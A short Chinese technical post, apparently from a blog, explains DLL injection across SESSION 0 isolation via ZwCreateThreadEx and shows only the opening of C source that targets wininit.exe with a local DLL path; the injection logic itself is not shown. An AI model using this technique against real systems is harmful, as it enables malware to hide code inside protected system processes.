[注入] 突破 SESSION 0 隔离的远线程注入

与传统的CreateRemoteThread函数实现的远线程注入DLL的唯一区别在于，突破SESSION 0远线程注 入技术是使用比CreateRemoteThread函数更为底层的ZwCreateThreadEx函数来创建远线程，而具体的远线 程注入原理是相同的。

#include<stdio.h>
#include<windows.h>
#include<Tlhelp32.h>
#define NAME "wininit.exe"//被注入的进程
#define PATH "C:\\Users\\john\\Desktop\\mydll.dll"//要注入的dll绝对路径
